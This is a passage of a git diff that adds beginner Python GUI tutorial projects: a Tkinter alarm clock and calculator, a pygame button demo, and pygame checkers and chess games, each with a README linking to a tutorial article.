Clock') # gives the window a title + + +addTime = Label(root, fg="red", text="Hour Min Sec", + font='arial 12 bold').place(x=210) +setYourAlarm = Label(root, text="Set Time(24hrs): ", + bg="grey", font="arial 11 bold").place(x=80, y=40) +hour = StringVar() +min = StringVar() +sec = StringVar() + +# make the time input fields +hourTime = Entry(root, textvariable=hour, relief=RAISED, width=4, font=(20)).place(x=210, y=40) +minTime = Entry(root, textvariable=min, width=4, font=(20)).place(x=270, y=40) +secTime = Entry(root, textvariable=sec, width=4, font=(20)).place(x=330, y=40) + + +def start_alarm(): + t1 = Thread(target=alarm) + t1.start() + + +def alarm(): + while True: + set_alarm_time = f"{hour.get()}:{min.get()}:{sec.get()}" + # sleep for 1s to update the time every second + time.sleep(1) + # Get current time + actual_time = datetime.datetime.now().strftime("%H:%M:%S") + FMT = '%H:%M:%S' + # get time remaining + time_remaining = datetime.datetime.strptime( + set_alarm_time, FMT) - datetime.datetime.strptime(actual_time, FMT) + # displays current time + CurrentLabel = Label( + root, text=f'Current time: {actual_time}', fg='black') + CurrentLabel.place(relx=0.2, rely=0.8, anchor=CENTER) + # displays alarm time + AlarmLabel = Label( + root, text=f'Alarm time: {set_alarm_time}', fg='black') + AlarmLabel.place(relx=0.2, rely=0.9, anchor=CENTER) + # displays time remaining + RemainingLabel = Label( + root, text=f'Remaining time: {time_remaining}', fg='red') + RemainingLabel.place(relx=0.7, rely=0.8, anchor=CENTER) + # Check whether set alarm is equal to current time + if actual_time == set_alarm_time: + # Playing sound + playsound('audio.mp3') + messagebox.showinfo("TIME'S UP!!!") + + +# create a button to set the alarm +submit = Button(root, text="Set Your Alarm", fg="red", width=20, + command=start_alarm, font=("arial 20 bold")).pack(pady=80, padx=120) +# run the program +root.mainloop() diff --git a/gui-programming/alarm-clock-app/audio.mp3 b/gui-programming/alarm-clock-app/audio.mp3 new file mode 100644 index 00000000..53dbb249 Binary files /dev/null and b/gui-programming/alarm-clock-app/audio.mp3 differ diff --git a/gui-programming/alarm-clock-app/requirements.txt b/gui-programming/alarm-clock-app/requirements.txt new file mode 100644 index 00000000..aaea0713 --- /dev/null +++ b/gui-programming/alarm-clock-app/requirements.txt @@ -0,0 +1 @@ +playsound \ No newline at end of file diff --git a/gui-programming/button-in-pygame/README.md b/gui-programming/button-in-pygame/README.md new file mode 100644 index 00000000..f1f211ee --- /dev/null +++ b/gui-programming/button-in-pygame/README.md @@ -0,0 +1 @@ +# [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/button-in-pygame/button_pygame.py b/gui-programming/button-in-pygame/button_pygame.py new file mode 100644 index 00000000..4681f03a --- /dev/null +++ b/gui-programming/button-in-pygame/button_pygame.py @@ -0,0 +1,85 @@ +# Imports +import sys +import pygame + +# Configuration +pygame.init() +fps = 60 +fpsClock = pygame.time.Clock() +width, height = 640, 480 +screen = pygame.display.set_mode((width, height)) + +font = pygame.font.SysFont('Arial', 40) + +objects = [] + +class Button(): + def __init__(self, x, y, width, height, buttonText='Button', onclickFunction=None, onePress=False): + self.x = x + self.y = y + self.width = width + self.height = height + self.onclickFunction = onclickFunction + self.onePress = onePress + + self.fillColors = { + 'normal': '#ffffff', + 'hover': '#666666', + 'pressed': '#333333', + } + + self.buttonSurface = pygame.Surface((self.width, self.height)) + self.buttonRect = pygame.Rect(self.x, self.y, self.width, self.height) + + self.buttonSurf = font.render(buttonText, True, (20, 20, 20)) + + self.alreadyPressed = False + + objects.append(self) + + def process(self): + + mousePos = pygame.mouse.get_pos() + + self.buttonSurface.fill(self.fillColors['normal']) + if self.buttonRect.collidepoint(mousePos): + self.buttonSurface.fill(self.fillColors['hover']) + + if pygame.mouse.get_pressed(num_buttons=3)[0]: + self.buttonSurface.fill(self.fillColors['pressed']) + + if self.onePress: + self.onclickFunction() + + elif not self.alreadyPressed: + self.onclickFunction() + self.alreadyPressed = True + + else: + self.alreadyPressed = False + + self.buttonSurface.blit(self.buttonSurf, [ + self.buttonRect.width/2 - self.buttonSurf.get_rect().width/2, + self.buttonRect.height/2 - self.buttonSurf.get_rect().height/2 + ]) + screen.blit(self.buttonSurface, self.buttonRect) + +def myFunction(): + print('Button Pressed') + +customButton = Button(30, 30, 400, 100, 'Button One (onePress)', myFunction) +customButton = Button(30, 140, 400, 100, 'Button Two (multiPress)', myFunction, True) + +# Game loop. +while True: + screen.fill((20, 20, 20)) + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + for object in objects: + object.process() + + pygame.display.flip() + fpsClock.tick(fps) \ No newline at end of file diff --git a/gui-programming/button-in-pygame/requirements.txt b/gui-programming/button-in-pygame/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/button-in-pygame/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/calculator-app/README.md b/gui-programming/calculator-app/README.md new file mode 100644 index 00000000..95762bfa --- /dev/null +++ b/gui-programming/calculator-app/README.md @@ -0,0 +1,2 @@ +# [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python) +You can get the original version of the calculator [here](https://github.com/Maximinodotpy/calculator). \ No newline at end of file diff --git a/gui-programming/calculator-app/calculator.py b/gui-programming/calculator-app/calculator.py new file mode 100644 index 00000000..c2a17595 --- /dev/null +++ b/gui-programming/calculator-app/calculator.py @@ -0,0 +1,197 @@ +from tkinter import * +import tkinter.font as font +from functools import partial +import ctypes +import json +import re + +# so the functions can be used from the math module can be used in the lineedit. +import math + +ctypes.windll.shcore.SetProcessDpiAwareness(1) + +# Colors +buttonColor = (255, 255, 255) +historyPanelBackground = (255, 255, 255) + +# Tkinter Setup +root = Tk() +root.geometry("550x270") +root.title("Calculator") + +# Setting icon for the Application +photo = PhotoImage(file = "icon.png") +root.iconphoto(False, photo) + +# Loading Font from font name +myFont = font.Font(family='Consolas', size=12) + +# Formula Templates +formulas = [ + ['Pythagoras->c', '(({a}**2)+({b}**2))**0.5 ? a=5 & b=5'], + ['Pythagoras->c**2', '({a}**2)+({b}**2) ? a=5 & b=5'], + ['pq->(x1, x2)', '-({p}/2) + sqrt(({p}/2)**2 - ({q})), -({p}/2) - sqrt(({p}/2)**2 - ({q})) ? p=-1 & q=-12'], + ['abc->(x1, x2)', 'quadratic_formula({a}, {b}, {c}) ? a=1 & b=5 & c=6'], + ['Incline->y', '{m}*{x} + {q} ? m=4 & x=5 & q=6'], +] + +# All the history equations are in this list. +history = [] +# Where the history file is located. +historyFilePath = 'history.json' +print("Reading history from:", historyFilePath) +# Creating History file if it does not exist. +try: + with open(historyFilePath, 'x') as fp: + pass + print("Created file at:", historyFilePath) +except: + print('File already exists') + +# converting RGB values to HEX +def rgb_to_hex(rgb): + return "#%02x%02x%02x" % rgb + +# Add something to the current calculation +def addSymbol(event=None, symbol=None): + + if symbol == '<': + entryVariable.set(entryVariable.get()[:-1]) + else: + entryVariable.set(entryVariable.get()+symbol) + +def varChange(*args): + evaluationString = entryVariable.get().replace(' ', '').split('?')[0] + + print('Before insertion: ',evaluationString) + + if len(entryVariable.get().split('?')) == 2: + + parameters = entryVariable.get().replace(' ', '').split('?')[1] + + for param in parameters.split('&'): + where, what = param.split('=') + evaluationString = re.sub('{'+where+'}', what, evaluationString) + + try: + print('After insertion: ', evaluationString) + resultLabel.config(text=str(eval(evaluationString))) + except: + resultLabel.config(text='Invalid Input') + +def saveCurrentInputToHistory(event=None): + if entryVariable.get() in history: + return + + history.append(entryVariable.get()) + + with open(historyFilePath, 'w') as file: + file.write(json.dumps(history)) + + updateListBox() + +def updateListBox(event=None): + global history + + historyList.delete(0, END) + + try: + with open(historyFilePath, 'r') as file: + history = json.loads(file.read()) + except json.decoder.JSONDecodeError: + print('File does not contain JSON') + + for index, item in enumerate(history): + historyList.insert(index, item) + +def setEntryFromHistory(event=None): + historyItem = historyList.get(historyList.curselection()[0]) + entryVariable.set(historyItem) + +def addFormula(formula=''): + saveCurrentInputToHistory() + entryVariable.set(formula) + +def quadratic_formula(a, b, c): + + disc = b**2 - 4 * a * c + + x1 = (-b - math.sqrt(disc)) / (2 * a) + x2 = (-b + math.sqrt(disc)) / (2 * a) + + return(x1, x2) + +# Work with Frames to split the window in two parts: the calculator and the History Panel. + +# Calculation Panel +calcSide = Frame(root) +calcSide.pack(side=LEFT, fill=BOTH, expand=1) + +# Entry Variable for the calculations +entryVariable = StringVar(root, '4/2**2') +entryVariable.trace('w', varChange) + +Entry(calcSide, textvariable=entryVariable, font=myFont, borderwidth=0).pack(fill=X, ipady=10, ipadx=10) +resultLabel = Label(calcSide, text='Result', font=myFont, borderwidth=0,anchor="e") +resultLabel.pack(fill=X, ipady=10) + +# History Panel +historySide = Frame(root, bg=rgb_to_hex(historyPanelBackground)) +historySide.pack(side=LEFT, fill=BOTH, expand=1) + +historyTopBar = Frame(historySide) +historyTopBar.pack(fill=X) +Label(historyTopBar, text='History').pack(side=LEFT) +Button(historyTopBar, text='Save Current Input', bg=rgb_to_hex(buttonColor), borderwidth=0, command=saveCurrentInputToHistory).pack(side=RIGHT) + +historyList = Listbox(historySide, borderwidth=0) +historyList.pack(fill=BOTH, expand=True) +historyList.bind("", setEntryFromHistory) + +# Insert stuff into the history +updateListBox() + +# Button Symbols (and their position) +symbols = [ + ['1', '2', '3', '+'], + ['4', '5', '6', '-'], + ['7', '8', '9', '/'], + ['0', '.', '<', '*'], +] + +for rowList in symbols: + # Make a row + row = Frame(calcSide) + row.pack(fill=BOTH, expand=True) + for symbol in rowList: + # Making and packing the Button + Button( + row, text=symbol, command=partial(addSymbol, symbol=symbol), + font=myFont, bg=rgb_to_hex(buttonColor), borderwidth=0) \ + .pack(side=LEFT, fill=BOTH, expand=1) + # Change button color each iteration for gradient. + buttonColor = (buttonColor[0] - 10, buttonColor[1] - 10, buttonColor[1] - 2) + + +menubar = Menu(root) + +filemenu = Menu(menubar, tearoff=0) + +# Add all Formulas to the dropdown menu. +for formula in formulas: + filemenu.add_command(label=formula[0], command=partial(addFormula, formula[1])) + +filemenu.add_separator() + +# Quit command +filemenu.add_command(label="Exit", command=root.quit) + +menubar.add_cascade(menu=filemenu, label='Formulas') + +root.config(menu=menubar) + + +# Call the var change once so it is evaluated withhout actual change. +varChange('foo') + +root.mainloop() \ No newline at end of file diff --git a/gui-programming/calculator-app/history.json b/gui-programming/calculator-app/history.json new file mode 100644 index 00000000..df95dfd4 --- /dev/null +++ b/gui-programming/calculator-app/history.json @@ -0,0 +1 @@ +["4/2**2", "4/2**3", "{a} ? a = 6", "", "-({p}/2) + sqrt( ({p}/2) - {q}) ? p=10 & q=5", "0", "({a}**2)+({b}**2) ? a=5 & b=5", "2+3/2*2-4", "(({a}**2)+({b}**2))**0.5 ? a=1 & b=7", "quadratic_formula({a}, {b}, {c}) ? a=1 & b=5 & c=6", "2-1/8*55", " {a} + 1 ? a=14"] \ No newline at end of file diff --git a/gui-programming/calculator-app/icon.png b/gui-programming/calculator-app/icon.png new file mode 100644 index 00000000..e0e5c4b0 Binary files /dev/null and b/gui-programming/calculator-app/icon.png differ diff --git a/gui-programming/checkers-game/Board.py b/gui-programming/checkers-game/Board.py new file mode 100644 index 00000000..4da2ebb6 --- /dev/null +++ b/gui-programming/checkers-game/Board.py @@ -0,0 +1,84 @@ +import pygame +from Tile import Tile +from Pawn import Pawn + +class Board: + def __init__(self,tile_width, tile_height, board_size): + self.tile_width = tile_width + self.tile_height = tile_height + self.board_size = board_size + self.selected_piece = None + + self.turn = "black" + self.is_jump = False + + self.config = [ + ['', 'bp', '', 'bp', '', 'bp', '', 'bp'], + ['bp', '', 'bp', '', 'bp', '', 'bp', ''], + ['', 'bp', '', 'bp', '', 'bp', '', 'bp'], + ['', '', '', '', '', '', '', ''], + ['', '', '', '', '', '', '', ''], + ['rp', '', 'rp', '', 'rp', '', 'rp', ''], + ['', 'rp', '', 'rp', '', 'rp', '', 'rp'], + ['rp', '', 'rp', '', 'rp', '', 'rp', ''] + ] + + self.tile_list = self._generate_tiles() + self._setup() + + def _generate_tiles(self): + output = [] + for y in range(self.board_size): + for x in range(self.board_size): + output.append( + Tile(x, y, self.tile_width, self.tile_height) + ) + return output + + def get_tile_from_pos(self, pos): + for tile in self.tile_list: + if (tile.x, tile.y) == (pos[0], pos[1]): + return tile + + def _setup(self): + for y_ind, row in enumerate(self.config): + for x_ind, x in enumerate(row): + tile = self.get_tile_from_pos((x_ind, y_ind)) + if x != '': + if x[-1] == 'p': + color = 'red' if x[0] == 'r' else 'black' + tile.occupying_piece = Pawn(x_ind, y_ind, color, self) + + def handle_click(self, pos): + x, y = pos[0], pos[-1] + if x >= self.board_size or y >= self.board_size: + x = x // self.tile_width + y = y // self.tile_height + clicked_tile = self.get_tile_from_pos((x, y)) + + if self.selected_piece is None: + if clicked_tile.occupying_piece is not None: + if clicked_tile.occupying_piece.color == self.turn: + self.selected_piece = clicked_tile.occupying_piece + elif self.selected_piece._move(clicked_tile): + if not self.is_jump: + self.turn = 'red' if self.turn == 'black' else 'black' + else: + if len(clicked_tile.occupying_piece.valid_jumps()) == 0: + self.turn = 'red' if self.turn == 'black' else 'black' + elif clicked_tile.occupying_piece is not None: + if clicked_tile.occupying_piece.color == self.turn: + self.selected_piece = clicked_tile.occupying_piece + + def draw(self, display): + if self.selected_piece is not None: + self.get_tile_from_pos(self.selected_piece.pos).highlight = True + if not self.is_jump: + for tile in self.selected_piece.valid_moves(): + tile.highlight = True + else: + for tile in self.selected_piece.valid_jumps(): + tile[0].highlight = True + + for tile in self.tile_list: + tile.draw(display) \ No newline at end of file diff --git a/gui-programming/checkers-game/Game.py b/gui-programming/checkers-game/Game.py new file mode 100644 index 00000000..39a8bede --- /dev/null +++ b/gui-programming/checkers-game/Game.py @@ -0,0 +1,44 @@ +class Game: + + def __init__(self): + self.winner = None + + # checks if both colors still has a piece + def check_piece(self, board): + red_piece = 0 + black_piece = 0 + for y in range(board.board_size): + for x in range(board.board_size): + tile = board.get_tile_from_pos((x, y)) + if tile.occupying_piece != None: + if tile.occupying_piece.color == "red": + red_piece += 1 + else: + black_piece += 1 + return red_piece, black_piece + + def is_game_over(self, board): + red_piece, black_piece = self.check_piece(board) + if red_piece == 0 or black_piece == 0: + self.winner = "red" if red_piece > black_piece else "black" + return True + else: + return False + + def check_jump(self, board): + piece = None + for tile in board.tile_list: + if tile.occupying_piece != None: + piece = tile.occupying_piece + if len(piece.valid_jumps()) != 0 and board.turn == piece.color: + board.is_jump = True + break + else: + board.is_jump = False + if board.is_jump: + board.selected_piece = piece + board.handle_click(piece.pos) + return board.is_jump + + def message(self): + print(f"{self.winner} Wins!!") \ No newline at end of file diff --git a/gui-programming/checkers-game/King.py b/gui-programming/checkers-game/King.py new file mode 100644 index 00000000..ef7bb7bf --- /dev/null +++ b/gui-programming/checkers-game/King.py @@ -0,0 +1,47 @@ +import pygame +from Piece import Piece + +class King(Piece): + def __init__(self, x, y, color, board): + super().__init__(x, y, color, board) + img_path = f'images/{color}-king.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width, board.tile_height)) + self.notation = 'k' + + def _possible_moves(self): + possible_moves = ((-1, -1), (+1, -1), (-1, +1), (+1, +1)) + return possible_moves + + def valid_moves(self): + tile_moves = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if tile.occupying_piece == None: + tile_moves.append(tile) + return tile_moves + + def valid_jumps(self): + tile_jumps = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if self.board.turn == self.color: + if tile.occupying_piece != None and tile.occupying_piece.color != self.color: + next_pos = (tile_pos[0] + move[0], tile_pos[-1] + move[-1]) + next_tile = self.board.get_tile_from_pos(next_pos) + if next_pos[0] < 0 or next_pos[0] > 7 or next_pos[-1] < 0 or next_pos[-1] > 7: + pass + else: + if next_tile.occupying_piece == None: + tile_jumps.append((next_tile, tile)) + return tile_jumps \ No newline at end of file diff --git a/gui-programming/checkers-game/Main.py b/gui-programming/checkers-game/Main.py new file mode 100644 index 00000000..dc7d9ac6 --- /dev/null +++ b/gui-programming/checkers-game/Main.py @@ -0,0 +1,46 @@ +import pygame +from Board import Board +from Game import Game + +pygame.init() + +class Checkers: + def __init__(self, screen): + self.screen = screen + self.running = True + self.FPS = pygame.time.Clock() + + def _draw(self, board): + board.draw(self.screen) + pygame.display.update() + + def main(self, window_width, window_height): + board_size = 8 + tile_width, tile_height = window_width // board_size, window_height // board_size + board = Board(tile_width, tile_height, board_size) + game = Game() + while self.running: + game.check_jump(board) + + for self.event in pygame.event.get(): + if self.event.type == pygame.QUIT: + self.running = False + + if not game.is_game_over(board): + if self.event.type == pygame.MOUSEBUTTONDOWN: + board.handle_click(self.event.pos) + else: + game.message() + self.running = False + + self._draw(board) + self.FPS.tick(60) + + +if __name__ == "__main__": + window_size = (640, 640) + screen = pygame.display.set_mode(window_size) + pygame.display.set_caption("Checkers") + + checkers = Checkers(screen) + checkers.main(window_size[0], window_size[1]) \ No newline at end of file diff --git a/gui-programming/checkers-game/Pawn.py b/gui-programming/checkers-game/Pawn.py new file mode 100644 index 00000000..3550c00c --- /dev/null +++ b/gui-programming/checkers-game/Pawn.py @@ -0,0 +1,51 @@ +import pygame +from Piece import Piece + +class Pawn(Piece): + def __init__(self, x, y, color, board): + super().__init__(x, y, color, board) + img_path = f'images/{color}-pawn.png' + self.img = pygame.image.load(img_path) + self.img = pygame.transform.scale(self.img, (board.tile_width, board.tile_height)) + self.notation = 'p' + + def _possible_moves(self): + # (x, y) move for left and right + if self.color == "red": + possible_moves = ((-1, -1), (+1, -1)) + else: + possible_moves = ((-1, +1), (+1, +1)) + return possible_moves + + def valid_moves(self): + tile_moves = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if tile.occupying_piece == None: + tile_moves.append(tile) + return tile_moves + + def valid_jumps(self): + tile_jumps = [] + moves = self._possible_moves() + for move in moves: + tile_pos = (self.x + move[0], self.y + move[-1]) + if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7: + pass + else: + tile = self.board.get_tile_from_pos(tile_pos) + if self.board.turn == self.color: + if tile.occupying_piece != None and tile.occupying_piece.color != self.color: + next_pos = (tile_pos[0] + move[0], tile_pos[-1] + move[-1]) + next_tile = self.board.get_tile_from_pos(next_pos) + if next_pos[0] < 0 or next_pos[0] > 7 or next_pos[-1] < 0 or next_pos[-1] > 7: + pass + else: + if next_tile.occupying_piece == None: + tile_jumps.append((next_tile, tile)) + return tile_jumps \ No newline at end of file diff --git a/gui-programming/checkers-game/Piece.py b/gui-programming/checkers-game/Piece.py new file mode 100644 index 00000000..3c82a326 --- /dev/null +++ b/gui-programming/checkers-game/Piece.py @@ -0,0 +1,56 @@ +import pygame + +class Piece: + def __init__(self, x, y, color, board): + self.x = x + self.y = y + self.pos = (x, y) + self.board = board + self.color = color + + def _move(self, tile): + for i in self.board.tile_list: + i.highlight = False + + if tile in self.valid_moves() and not self.board.is_jump: + prev_tile = self.board.get_tile_from_pos(self.pos) + self.pos, self.x, self.y = tile.pos, tile.x, tile.y + + prev_tile.occupying_piece = None + tile.occupying_piece = self + self.board.selected_piece = None + self.has_moved = True + + # Pawn promotion + if self.notation == 'p': + if self.y == 0 or self.y == 7: + from King import King + tile.occupying_piece = King( + self.x, self.y, self.color, self.board + ) + return True + + elif self.board.is_jump: + for move in self.valid_jumps(): + if tile in move: + prev_tile = self.board.get_tile_from_pos(self.pos) + jumped_piece = move[-1] + self.pos, self.x, self.y = tile.pos, tile.x, tile.y + + prev_tile.occupying_piece = None + jumped_piece.occupying_piece = None + tile.occupying_piece = self + self.board.selected_piece = None + self.has_moved = True + + # Pawn promotion + if self.notation == 'p': + if self.y == 0 or self.y == 7: + from King import King + tile.occupying_piece = King( + self.x, self.y, self.color, self.board + ) + return True + else: + self.board.selected_piece = None + return False \ No newline at end of file diff --git a/gui-programming/checkers-game/README.md b/gui-programming/checkers-game/README.md new file mode 100644 index 00000000..c9191191 --- /dev/null +++ b/gui-programming/checkers-game/README.md @@ -0,0 +1,4 @@ +# [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python) +To run this: +- `pip3 install -r requirements.txt` +- `python3 Main.py` \ No newline at end of file diff --git a/gui-programming/checkers-game/Tile.py b/gui-programming/checkers-game/Tile.py new file mode 100644 index 00000000..5e1ad127 --- /dev/null +++ b/gui-programming/checkers-game/Tile.py @@ -0,0 +1,41 @@ +import pygame + +class Tile: + def __init__(self, x, y, tile_width, tile_height): + self.x = x + self.y = y + self.pos = (x, y) + self.tile_width = tile_width + self.tile_height = tile_height + self.abs_x = x * tile_width + self.abs_y = y * tile_height + self.abs_pos = (self.abs_x, self.abs_y) + + self.color = 'light' if (x + y) % 2 == 0 else 'dark' + self.draw_color = (220, 189, 194) if self.color == 'light' else (53, 53, 53) + self.highlight_color = (100, 249, 83) if self.color == 'light' else (0, 228, 10) + + self.occupying_piece = None + self.coord = self.get_coord() + self.highlight = False + self.rect = pygame.Rect( + self.abs_x, + self.abs_y, + self.tile_width, + self.tile_height + ) + + def get_coord(self): + columns = 'abcdefgh' + return columns[self.x] + str(self.y + 1) + + def draw(self, display): + if self.highlight: + pygame.draw.rect(display, self.highlight_color, self.rect) + else: + pygame.draw.rect(display, self.draw_color, self.rect) + + if self.occupying_piece != None: + centering_rect = self.occupying_piece.img.get_rect() + centering_rect.center = self.rect.center + display.blit(self.occupying_piece.img, centering_rect.topleft) \ No newline at end of file diff --git a/gui-programming/checkers-game/images/black-king.png b/gui-programming/checkers-game/images/black-king.png new file mode 100644 index 00000000..b4e8e557 Binary files /dev/null and b/gui-programming/checkers-game/images/black-king.png differ diff --git a/gui-programming/checkers-game/images/black-pawn.png b/gui-programming/checkers-game/images/black-pawn.png new file mode 100644 index 00000000..35992cf2 Binary files /dev/null and b/gui-programming/checkers-game/images/black-pawn.png differ diff --git a/gui-programming/checkers-game/images/red-king.png b/gui-programming/checkers-game/images/red-king.png new file mode 100644 index 00000000..17468138 Binary files /dev/null and b/gui-programming/checkers-game/images/red-king.png differ diff --git a/gui-programming/checkers-game/images/red-pawn.png b/gui-programming/checkers-game/images/red-pawn.png new file mode 100644 index 00000000..7724b8d4 Binary files /dev/null and b/gui-programming/checkers-game/images/red-pawn.png differ diff --git a/gui-programming/checkers-game/requirements.txt b/gui-programming/checkers-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/checkers-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/chess-game/README.md b/gui-programming/chess-game/README.md new file mode 100644 index 00000000..acdc1247 --- /dev/null +++ b/gui-programming/chess-game/README.md @@ -0,0 +1,4 @@ +# [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python) +To run this: +- `pip3 install -r requirements.txt` +- `python main.py` \ No newline at end of file diff --git a/gui-programming/chess-game/data/classes/Board.py b/gui-programming/chess-game/data/classes/Board.py new file mode 100644 index 00000000..df9d5460 --- /dev/null +++ b/gui-programming/chess-game/data/classes/Board.py @@ -0,0 +1,184 @@ +import pygame + +from data.classes.Square import Square +from data.classes.pieces.Rook import Rook +from data.classes.pieces.Bishop import Bishop +from data.classes.pieces.Knight import Knight +from data.classes.pieces.Queen import Queen +from data.classes.pieces.King import King +from data.classes.pieces.Pawn import Pawn + + +# Game state checker +class Board: + def __init__(self, width, height): + self.width = width + self.height = height + self.tile_width = width // 8 + self.tile_height = height // 8 + self.selected_piece = None + self.turn = 'white' + + # try making it chess.board.fen() + self.config = [ + ['bR', 'bN', 'bB', 'bQ', 'bK', 'bB', 'bN', 'bR'], + ['bP', 'bP', 'bP', 'bP', 'bP', 'bP', 'bP', 'bP'], + ['','','','','','','',''], + ['','','','','','','',''], + ['','','','','','','',''], + ['','','','','','','',''], + ['wP', 'wP', 'wP', 'wP', 'wP', 'wP', 'wP', 'wP'], + ['wR', 'wN', 'wB', 'wQ', 'wK', 'wB', 'wN', 'wR'], + ] + + self.squares = self.generate_squares() + + self.setup_board() + + + def generate_squares(self): + output = [] + for y in range(8): + for x in range(8): + output.append( + Square(x, y, self.tile_width, self.tile_height) + ) + return output + + + def get_square_from_pos(self, pos): + for square in self.squares: + if (square.x, square.y) == (pos[0], pos[1]): + return square + + + def get_piece_from_pos(self, pos): + return self.get_square_from_pos(pos).occupying_piece + + + def setup_board(self): + # iterating 2d list + for y, row in enumerate(self.config): + for x, piece in enumerate(row): + if piece != '': + square = self.get_square_from_pos((x, y)) + + # looking inside contents, what piece does it have + if piece[1] == 'R': + square.occupying_piece = Rook( + (x, y), 'white' if piece[0] == 'w' else 'black', self + ) + # as you notice above, we put `self` as argument, or means our class Board + + elif piece[1] == 'N': + square.occupying_piece = Knight( + (x, y), 'white' if piece[0] == 'w' else 'black', self + ) + + elif piece[1] == 'B': + square.occupying_piece = Bishop( + (x, y), 'white' if piece[0] == 'w' else 'black', self + ) + + elif piece[1] == 'Q': + square.occupying_piece = Queen( + (x, y), 'white' if piece[0] == 'w' else 'black', self + ) + + elif piece[1] == 'K': + square.occupying_piece = King( + (x, y), 'white' if piece[0] == 'w' else 'black', self + ) + + elif piece[1] == 'P': + square.occupying_piece = Pawn( + (x, y), 'white' if piece[0] == 'w' else 'black', self + ) + + + def handle_click(self, mx, my): + x = mx // self.tile_width + y = my // self.tile_height + clicked_square = self.get_square_from_pos((x, y)) + + if self.selected_piece is None: + if clicked_square.occupying_piece is not None: + if clicked_square.occupying_piece.color == self.turn: + self.selected_piece = clicked_square.occupying_piece + + elif self.selected_piece.move(self, clicked_square): + self.turn = 'white' if self.turn == 'black' else 'black' + + elif clicked_square.occupying_piece is not None: + if clicked_square.occupying_piece.color == self.turn: + self.selected_piece = clicked_square.occupying_piece + + + def is_in_check(self, color, board_change=None): # board_change = [(x1, y1), (x2, y2)] + output = False + king_pos = None + + changing_piece = None + old_square = None + new_square = None + new_square_old_piece = None + + if board_change is not None: + for square in self.squares: + if square.pos == board_change[0]: + changing_piece = square.occupying_piece + old_square = square + old_square.occupying_piece = None + for square in self.squares: + if square.pos == board_change[1]: + new_square = square + new_square_old_piece = new_square.occupying_piece + new_square.occupying_piece = changing_piece + + pieces = [ + i.occupying_piece for i in self.squares if i.occupying_piece is not None + ] + + if changing_piece is not None: + if changing_piece.notation == 'K': + king_pos = new_square.pos + if king_pos == None: + for piece in pieces: + if piece.notation == 'K' and piece.color == color: + king_pos = piece.pos + for piece in pieces: + if piece.color != color: + for square in piece.attacking_squares(self): + if square.pos == king_pos: + output = True + + if board_change is not None: + old_square.occupying_piece = changing_piece + new_square.occupying_piece = new_square_old_piece + + return output + + + def is_in_checkmate(self, color): + output = False + + for piece in [i.occupying_piece for i in self.squares]: + if piece != None: + if piece.notation == 'K' and piece.color == color: + king = piece + + if king.get_valid_moves(self) == []: + if self.is_in_check(color): + output = True + + return output + + + def draw(self, display): + if self.selected_piece is not None: + self.get_square_from_pos(self.selected_piece.pos).highlight = True + for square in self.selected_piece.get_valid_moves(self): + square.highlight = True + + for square in self.squares: + square.draw(display) \ No newline at end of file diff --git a/gui-programming/chess-game/data/classes/Piece.py b/gui-programming/chess-game/data/classes/Piece.py new file mode 100644 index 00000000..29758c35 --- /dev/null +++ b/gui-programming/chess-game/data/classes/Piece.py @@ -0,0 +1,76 @@ +import pygame + +class Piece: + def __init__(self, pos, color, board): + self.pos = pos + self.x = pos[0] + self.y = pos[1] + self.color = color + self.has_moved = False + + + def move(self, board, square, force=False): + for i in board.squares: + i.highlight = False + + if square in self.get_valid_moves(board) or force: + prev_square = board.get_square_from_pos(self.pos) + self.pos, self.x, self.y = square.pos, square.x, square.y + + prev_square.occupying_piece = None + square.occupying_piece = self + board.selected_piece = None + self.has_moved = True + + # Pawn promotion + if self.notation == ' ': + if self.y == 0 or self.y == 7: + from data.classes.pieces.Queen import Queen + square.occupying_piece = Queen( + (self.x, self.y), + self.color, + board + ) + + # Move rook if king castles + if self.notation == 'K': + if prev_square.x - self.x == 2: + rook = board.get_piece_from_pos((0, self.y)) + rook.move(board, board.get_square_from_pos((3, self.y)), force=True) + elif prev_square.x - self.x == -2: + rook = board.get_piece_from_pos((7, self.y)) + rook.move(board, board.get_square_from_pos((5, self.y)), force=True) + + return True + else: + board.selected_piece = None + return False + + + def get_moves(self, board): + output = [] + for direction in self.get_possible_moves(board): + for square in direction: + if square.occupying_piece is not None: + if square.occupying_piece.color == self.color: + break + else: + output.append(square) + break + else: + output.append(square) + return output + + + def get_valid_moves(self, board): + output = [] + for square in self.get_moves(board): + if not board.is_in_check(self.color, board_change=[self.pos, square.pos]): + output.append(square) + + return output + + + # True for all pieces except pawn + def attacking_squares(self, board): + return self.get_moves(board) \ No newline at end of file diff --git a/gui-programming/chess-game/data/classes/Square.py b/gui-programming/chess-game/data/classes/Square.py new file mode 100644 index 00000000..35b961ad --- /dev/null +++ b/gui-programming/chess-game/data/classes/Square.py @@ -0,0 +1,44 